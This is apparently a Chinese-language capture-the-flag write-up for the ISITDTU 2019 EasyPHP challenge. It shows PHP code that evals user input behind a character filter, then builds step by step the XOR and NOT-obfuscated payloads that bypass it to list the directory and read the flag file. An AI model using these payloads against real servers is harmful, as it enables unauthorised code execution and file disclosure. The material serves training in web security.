<?php highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>
看看除了正则过滤掉的,还有哪些字符可以用:
<?php for($i=0;$i<=127;$i++){ if ( !preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i',chr($i)) ){ echo chr($i); } } ?>
得到:
!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~
接下来分析第二个if:
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
count_chars返回字符串所用字符的信息:
<?php $_ = "shawroooot"; echo strlen(count_chars(strtolower($_), 0x3)); //返回7 ?>
也就是说,第二个if判断输入的值的字符种类不能超过13(0xd)。
因为“~”没有被过滤,尝试用取反拼出phpinfo():
<?php $str = "p h p i n f o"; $arr1 = explode(' ', $str); echo "~"; foreach ($arr1 as $key => $value) { echo "%".bin2hex(~$value); } ?>
成功拼出:
(~%8f%97%8f%96%91%99%90)();
接下来查看被ban掉的函数有哪些:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,
没有屏蔽print_r()和scandir(),可以打组合拳对系统目录和文件进行查看,但是还要考虑字符种类不能超过13的这个限制:
<?php $_ = "print_r(scandir('.'));"; echo strlen(count_chars(strtolower($_), 0x3)); //返回15 ?>
这里总共有15个字符,接下来需要考虑的就是看看哪些字符可以被替代的问题。
print_r
用异或表示即:
<?php echo urlencode('print_r' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff')); //%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff
scandir(.)
用异或表示即
<?php $a = urlencode('scandir' ^ urldecode('%ff%ff%ff%ff%ff%ff%ff')); $b = urlencode('.' ^ urldecode('%ff')); echo $a.'^%ff%ff%ff%ff%ff%ff%ff'.'('.$b.'^%ff'.')'; //%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff(%D1^%ff)
合起来qwq:
((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));
查找可以被代替的字符:
a = c^p^r d = s^c^t n = i^s^t
分别和%ff异或:
<?php $dic = 'c p r s t i'; $arr1 = explode(' ', $dic); foreach ($arr1 as $key => $value) { echo "$value = ".urlencode($value ^ urldecode('%ff'))."</br>"; }
得到:
c = %9C
p = %8F
r = %8D
s = %8C
t = %8B
i = %96
因此,print_r(scandir(.))
可以表示为:
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
将其传入得到当前目录的文件:
Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )
使用end()可以返回数组的最后一项:
构造readfile(end(scandir(.)))即可。
可以被替代的字符:
r = s^d^e f = c^l^i n = c^l^a
分别和%ff异或:
<?php $dic = 'd e l a'; $arr1 = explode(' ', $dic); foreach ($arr1 as $key => $value) { echo "$value = ".urlencode($value ^ urldecode('%ff'))."</br>"; }
得到:
d = %9B e = %9A l = %93 a = %9E
readfile
用异或表示即:
(%8c%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff)
end
用异或表示即:
(%9A%91%9B)^(%ff%ff%ff)
因此,readfile(end(scandir(.)))正常合起来,又经过替代后可得:
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
太墨迹了这b题,我没了。
⚪参考:
https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/
https://www.neepusec.club/Blog/index.php/Blog/show?pid=[ISITDTU%202019]EasyPHP